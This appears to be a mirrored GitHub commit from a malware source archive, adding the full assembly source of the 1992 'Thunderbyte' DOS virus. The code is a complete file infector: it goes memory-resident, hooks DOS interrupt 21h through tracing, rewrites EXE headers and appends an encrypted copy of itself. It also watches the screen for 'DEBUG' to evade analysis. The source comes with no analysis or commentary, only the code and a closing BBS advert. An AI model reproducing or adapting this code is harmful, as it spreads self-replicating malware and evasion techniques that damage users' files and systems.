mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,612 @@
|
||||
;*****************************************************************************;
|
||||
; ;
|
||||
; Tunderbyte Virus ;
|
||||
; ;
|
||||
; TBSCAN.DAT : DB3F00807609??4D75F9 ;
|
||||
; ;
|
||||
;*****************************************************************************;
|
||||
|
||||
virus segment public 'code'
|
||||
assume cs:virus, ds:virus, es:virus
|
||||
org 0
|
||||
|
||||
VirusStart equ $
|
||||
VirusSize1 equ (VirusEnd1-$)
|
||||
VirusSize2 equ (VirusEnd2-$)
|
||||
|
||||
Decrypt1: db 0bdh,StartEncrypt-Decrypt2,0
|
||||
db 80h,76h,Decrypt2-VirusStart-1,0
|
||||
db 4dh,75h,-7
|
||||
Decrypt2: cli
|
||||
mov sp,offset DoAgain-2
|
||||
ret -8
|
||||
|
||||
db 0,0,0,0,'***** THUNDERBYTE *****',0,0,0,0
|
||||
|
||||
Init: mov cx,(VirusEnd1-StartEncrypt+1)/2
|
||||
mov dl,byte ptr cs:Decrypt1[6]
|
||||
mov dh,dl
|
||||
mov si,offset StartEncrypt
|
||||
NotReady: ret 2
|
||||
|
||||
DecryptWord: mov ax,ss:[si]
|
||||
xor cs:[si],dx
|
||||
NextWord: add dx,ax
|
||||
inc si
|
||||
ret -4
|
||||
|
||||
dw DecryptWord
|
||||
dw DoAgain
|
||||
dw NextWord
|
||||
dw Init
|
||||
DoAgain: loop NotReady
|
||||
|
||||
StartEncrypt equ $
|
||||
|
||||
Main: mov sp,1000h
|
||||
sti
|
||||
push ds
|
||||
push es
|
||||
mov ax,03031h
|
||||
mov bx,0DEADh
|
||||
int 21h
|
||||
cmp ax,0DEADh
|
||||
jne Install
|
||||
jmp Exit
|
||||
Install: push es
|
||||
mov ah,52h
|
||||
int 21h
|
||||
mov ax,es:[bx-2]
|
||||
mov cs:FirstMCB,ax
|
||||
pop es
|
||||
CheckBlock: mov ds,ax
|
||||
inc ax
|
||||
cmp word ptr ds:[1],ax
|
||||
jne NextBlock
|
||||
cmp word ptr ds:[3],((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
|
||||
jne NextBlock
|
||||
push ax
|
||||
push es
|
||||
mov cx,VirusSize2
|
||||
xor di,di
|
||||
mov es,ax
|
||||
mov al,es:[di]
|
||||
cld
|
||||
repe scasb
|
||||
pop es
|
||||
pop ax
|
||||
je CopyVirus
|
||||
NextBlock: add ax,ds:[3]
|
||||
cmp byte ptr ds:[0],'Z'
|
||||
jne CheckBlock
|
||||
mov ah,4ah
|
||||
mov bx,-1
|
||||
int 21h
|
||||
mov ah,4ah
|
||||
sub bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)+1
|
||||
int 21h
|
||||
mov ah,48h
|
||||
mov bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
|
||||
int 21h
|
||||
CopyVirus: push cs
|
||||
pop ds
|
||||
dec ax
|
||||
mov es,ax
|
||||
inc ax
|
||||
mov es:[1],ax
|
||||
mov cx,8
|
||||
mov si,offset CommandStr
|
||||
mov di,cx
|
||||
cld
|
||||
rep movsb
|
||||
mov es,ax
|
||||
EncryptZero: inc byte ptr ds:Decrypt1[6]
|
||||
jz EncryptZero
|
||||
mov cx,VirusSize2
|
||||
xor si,si
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb
|
||||
push es
|
||||
call ReturnFar
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
cli
|
||||
mov ax,offset DebugWatch
|
||||
xchg ax,ds:[20h]
|
||||
mov cs:OldInt8o,ax
|
||||
mov ax,cs
|
||||
xchg ax,ds:[22h]
|
||||
mov cs:OldInt8s,ax
|
||||
sti
|
||||
push ds:[4]
|
||||
push ds:[6]
|
||||
mov word ptr ds:[4],offset Trace1
|
||||
mov word ptr ds:[6],cs
|
||||
pushf
|
||||
push cs
|
||||
mov ax,offset Return4
|
||||
push ax
|
||||
cli
|
||||
pushf
|
||||
pop ax
|
||||
or ax,100h
|
||||
push ax
|
||||
push ds:[86h]
|
||||
push ds:[84h]
|
||||
mov ah,52h
|
||||
Trace1: push bp
|
||||
mov bp,sp
|
||||
push ax
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,FirstMCB
|
||||
cmp [bp+4],ax
|
||||
jae Return1
|
||||
mov ax,[bp-2]
|
||||
mov RegAX,ax
|
||||
mov RegSP,bp
|
||||
mov ax,[bp+2]
|
||||
mov OldInt21o,ax
|
||||
mov ax,[bp+4]
|
||||
mov OldInt21s,ax
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[4],offset Trace2
|
||||
mov word ptr ds:[6],cs
|
||||
jmp short Trace3
|
||||
Return1: jmp short Return3
|
||||
Trace2: push bp
|
||||
mov bp,sp
|
||||
push ax
|
||||
push ds
|
||||
cmp ax,cs:RegAX
|
||||
jne Return3
|
||||
cmp bp,cs:RegSP
|
||||
jne Return3
|
||||
Trace3: push bx
|
||||
push dx
|
||||
lds bx,[bp+2]
|
||||
mov al,[bx]
|
||||
mov dx,[bx+1]
|
||||
inc dx
|
||||
cmp al,0e9h
|
||||
je JumpOpcode
|
||||
cmp al,0e8h
|
||||
je CallOpcode
|
||||
xchg ax,dx
|
||||
dec ax
|
||||
cbw
|
||||
xchg ax,dx
|
||||
cmp al,0ebh
|
||||
je JumpOpcode
|
||||
cmp al,70h
|
||||
jb Return2
|
||||
cmp al,7fh
|
||||
ja Return2
|
||||
JumpOpcode: push ax
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[0c8h],offset HackJump
|
||||
mov word ptr ds:[0cah],cs
|
||||
jmp short Continue
|
||||
CallOpcode: push ax
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[0c8h],offset HackCall
|
||||
mov word ptr ds:[0cah],cs
|
||||
Continue: pop ds
|
||||
pop ax
|
||||
mov cs:Displacement,dx
|
||||
mov cs:Opcode,al
|
||||
mov ax,32cdh
|
||||
xchg ax,[bx]
|
||||
mov cs:SavedCode,ax
|
||||
mov cs:HackOffset,bx
|
||||
mov cs:HackSegment,ds
|
||||
and word ptr [bp+6],0feffh
|
||||
Return2: pop dx
|
||||
pop bx
|
||||
Return3: pop ds
|
||||
pop ax
|
||||
pop bp
|
||||
iret
|
||||
Return4: pop ds:[6]
|
||||
pop ds:[4]
|
||||
mov cs:Handle,0
|
||||
Exit: pop es
|
||||
pop ds
|
||||
mov ax,ds
|
||||
add ax,10h
|
||||
add cs:OldCS,ax
|
||||
add ax,cs:OldSP
|
||||
mov dx,cs:OldSP
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,dx
|
||||
sti
|
||||
jmp cs:OldEntry
|
||||
|
||||
ReturnFar: retf
|
||||
|
||||
OldEntry equ this dword
|
||||
OldIP dw 0
|
||||
OldCS dw -10h
|
||||
OldSP dw 1000h
|
||||
OldSS dw 0
|
||||
|
||||
HackAddress equ this dword
|
||||
HackOffset dw ?
|
||||
HackSegment dw ?
|
||||
SavedCode dw ?
|
||||
|
||||
HackJump: call Interrupt21
|
||||
push bp ; simulate a conditional or
|
||||
push ax ; unconditional jump
|
||||
mov bp,sp
|
||||
mov ax,[bp+8]
|
||||
and ax,0fcffh
|
||||
push ax
|
||||
db 0b8h ; mov ax,????
|
||||
Displacement dw 0
|
||||
popf
|
||||
Opcode db 0ebh,3,0 ; j?? +3
|
||||
xor ax,ax
|
||||
nop
|
||||
add [bp+4],ax
|
||||
pop ax
|
||||
pop bp
|
||||
iret
|
||||
|
||||
HackCall: call Interrupt21
|
||||
sub sp,2 ; simulate a call
|
||||
push bp
|
||||
mov bp,sp
|
||||
push ax
|
||||
mov ax,[bp+4]
|
||||
inc ax
|
||||
xchg ax,[bp+8]
|
||||
xchg ax,[bp+6]
|
||||
xchg ax,[bp+4]
|
||||
add ax,cs:Displacement
|
||||
mov [bp+2],ax
|
||||
pop ax
|
||||
pop bp
|
||||
iret
|
||||
|
||||
Seek: mov ah,42h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
|
||||
Dos: pushf
|
||||
db 9ah
|
||||
OldInt21o dw ?
|
||||
OldInt21s dw ?
|
||||
ret
|
||||
|
||||
DosVersion: cmp ax,3031h
|
||||
jne NotTByte
|
||||
cmp bx,0DEADh
|
||||
jne NotTByte
|
||||
mov ax,0DEADh
|
||||
add sp,8
|
||||
iret
|
||||
|
||||
Interrupt21: cmp ah,30h
|
||||
je DosVersion
|
||||
push si
|
||||
push ds
|
||||
push cs:SavedCode
|
||||
lds si,cs:HackAddress
|
||||
pop ds:[si]
|
||||
pop ds
|
||||
pop si
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
cmp ah,3eh
|
||||
je CloseFile
|
||||
cmp ah,40h
|
||||
je WriteFile
|
||||
Old21: pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
push si
|
||||
push ds
|
||||
lds si,cs:HackAddress
|
||||
mov word ptr ds:[si],32cdh
|
||||
pop ds
|
||||
pop si
|
||||
NotTByte: ret
|
||||
|
||||
WriteFile: mov ax,4400h
|
||||
call Dos
|
||||
cmp dl,7fh
|
||||
ja Error1
|
||||
mov al,1
|
||||
call Seek
|
||||
jc Error1
|
||||
or dx,dx
|
||||
jnz Error1
|
||||
cmp ax,17h
|
||||
ja Error1
|
||||
push cs
|
||||
pop es
|
||||
mov si,dx
|
||||
mov di,offset Signature
|
||||
add di,ax
|
||||
cmp word ptr [si],"ZM"
|
||||
jne Error1
|
||||
cmp word ptr [si+12h],0DEADh
|
||||
je Error1
|
||||
cmp cx,18h
|
||||
jb CheckHandle
|
||||
or ax,ax
|
||||
jz Ok
|
||||
CheckHandle: cmp bx,cs:Handle
|
||||
jne Error1
|
||||
Ok: add cx,ax
|
||||
cmp cx,18h
|
||||
jbe CountOk
|
||||
mov cx,18h
|
||||
CountOk: sub cx,ax
|
||||
jbe Error1
|
||||
cld
|
||||
rep movsb
|
||||
mov cs:Handle,bx
|
||||
Error1: jmp Old21
|
||||
|
||||
CloseFile: push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov ax,4400h
|
||||
call Dos
|
||||
test dl,80h
|
||||
jne Error1
|
||||
or bx,bx
|
||||
je Read
|
||||
cmp cs:Handle,bx
|
||||
je DoNotRead
|
||||
Read: xor al,al
|
||||
call Seek
|
||||
jc Error1
|
||||
mov ah,3fh
|
||||
mov cx,18h
|
||||
mov dx,offset Signature
|
||||
call Dos
|
||||
jc Error1
|
||||
DoNotRead: mov cs:Handle,0
|
||||
cmp Signature,"ZM"
|
||||
jne Error1
|
||||
cmp ChkSum,0DEADh
|
||||
je Error1
|
||||
mov ax,ExeIP
|
||||
mov OldIP,ax
|
||||
mov ax,ExeCS
|
||||
mov OldCS,ax
|
||||
mov ax,ExeSS
|
||||
mov OldSS,ax
|
||||
mov ax,ExeSP
|
||||
mov OldSP,ax
|
||||
mov al,2
|
||||
call Seek
|
||||
jc Error1
|
||||
push ax
|
||||
push dx
|
||||
mov cx,200h
|
||||
div cx
|
||||
cmp PartPage,dx
|
||||
jne SizeError
|
||||
add dx,-1
|
||||
adc ax,0
|
||||
cmp PageCount,ax
|
||||
SizeError: pop dx
|
||||
pop ax
|
||||
jne Error2
|
||||
add ax,0fh
|
||||
adc dx,0
|
||||
and ax,0fff0h
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
mov ax,4200h
|
||||
call Dos
|
||||
jnc SeekOk
|
||||
Error2: jmp Old21
|
||||
SeekOk: mov cx,10h
|
||||
div cx
|
||||
sub ax,HdrSize
|
||||
mov ExeCS,ax
|
||||
mov ExeIP,offset Decrypt1
|
||||
mov ExeSS,ax
|
||||
mov ExeSP,VirusSize1+400h
|
||||
cmp MinMem,40h
|
||||
jae MemoryOk
|
||||
mov MinMem,40h
|
||||
cmp MaxMem,40h
|
||||
jae MemoryOk
|
||||
mov MaxMem,40h
|
||||
MemoryOk: push ds
|
||||
push es
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
add ax,(VirusSize2+0fh)/10h
|
||||
mov es,ax
|
||||
mov cx,VirusSize1
|
||||
xor si,si
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb
|
||||
mov ds,ax
|
||||
mov cx,offset StartEncrypt-Decrypt2
|
||||
mov dl,byte ptr ds:Decrypt1[6]
|
||||
mov si,offset StartEncrypt-1
|
||||
Again1: xor ds:[si],dl
|
||||
dec si
|
||||
loop Again1
|
||||
mov cx,(VirusEnd1-StartEncrypt+1)/2
|
||||
mov dh,dl
|
||||
mov si,offset StartEncrypt
|
||||
Again2: xor ds:[si],dx
|
||||
mov ax,ds:[si]
|
||||
add dx,ax
|
||||
inc si
|
||||
add dx,ax
|
||||
inc si
|
||||
loop Again2
|
||||
mov ah,40h
|
||||
mov cx,VirusSize1
|
||||
xor dx,dx
|
||||
call Dos
|
||||
pop ds
|
||||
pop es
|
||||
jc Error3
|
||||
mov al,2
|
||||
call Seek
|
||||
jc Error3
|
||||
mov cx,200h
|
||||
div cx
|
||||
mov PartPage,dx
|
||||
add dx,-1
|
||||
adc ax,0
|
||||
mov PageCount,ax
|
||||
mov ChkSum,0DEADh
|
||||
xor al,al
|
||||
call Seek
|
||||
jc Error3
|
||||
mov ah,40h
|
||||
mov cx,18h
|
||||
mov dx,offset Signature
|
||||
call Dos
|
||||
Error3: jmp Old21
|
||||
|
||||
Count dw 8
|
||||
DebugStr db 'DEBUG'
|
||||
CommandStr db 'COMMAND '
|
||||
|
||||
DebugWatch: push ax
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
dec cs:Count
|
||||
jnz EndWatch
|
||||
mov cs:Count,8
|
||||
mov ax,0b000h
|
||||
mov ds,ax
|
||||
mov cx,2
|
||||
push cs
|
||||
pop es
|
||||
cld
|
||||
NextScreen: push cx
|
||||
mov cx,2000
|
||||
xor si,si
|
||||
mov di,offset DebugStr
|
||||
NextChar1: mov dx,5
|
||||
NextChar2: lodsb
|
||||
inc si
|
||||
and al,0dfh
|
||||
scasb
|
||||
jne CharOk
|
||||
dec dx
|
||||
jnz NextChar2
|
||||
Alarm: pop cx
|
||||
lds si,cs:HackAddress
|
||||
cmp byte ptr ds:[si],0cdh
|
||||
jne EndWatch
|
||||
mov ax,cs:SavedCode
|
||||
mov ds:[si],ax
|
||||
xor cx,cx
|
||||
mov ds,cx
|
||||
mov ax,cs:OldInt8o
|
||||
mov ds:[20h],ax
|
||||
mov ax,cs:OldInt8s
|
||||
mov ds:[22h],ax
|
||||
mov es,cx
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,14
|
||||
mov si,offset EndWatch-2
|
||||
mov di,4f0h
|
||||
push es
|
||||
push di
|
||||
rep movsb
|
||||
xor di,di
|
||||
mov cx,VirusSize2
|
||||
push cs
|
||||
pop es
|
||||
retf
|
||||
CharOk: neg dx
|
||||
add dx,5
|
||||
sbb di,dx
|
||||
sub si,dx
|
||||
sub si,dx
|
||||
loop NextChar1
|
||||
ScreenOk: mov ax,ds
|
||||
add ax,800h
|
||||
mov ds,ax
|
||||
pop cx
|
||||
loop NextScreen
|
||||
jmp short EndWatch
|
||||
rep stosb
|
||||
EndWatch: pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
db 0eah
|
||||
OldInt8o dw ?
|
||||
OldInt8s dw ?
|
||||
|
||||
db '***** (C) COPYRIGHT 1992 BY THE WRITER *****'
|
||||
|
||||
VirusEnd1 equ $
|
||||
|
||||
FirstMCB dw ?
|
||||
RegAX dw ?
|
||||
RegSP dw ?
|
||||
|
||||
Handle dw ?
|
||||
Signature dw ?
|
||||
PartPage dw ?
|
||||
PageCount dw ?
|
||||
ReloCnt dw ?
|
||||
HdrSize dw ?
|
||||
MinMem dw ?
|
||||
MaxMem dw ?
|
||||
ExeSS dw ?
|
||||
ExeSP dw ?
|
||||
ChkSum dw ?
|
||||
ExeIP dw ?
|
||||
ExeCS dw ?
|
||||
|
||||
VirusEnd2 equ $
|
||||
|
||||
virus ends
|
||||
|
||||
end Main
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
|
||||
Reference in New Issue
Block a user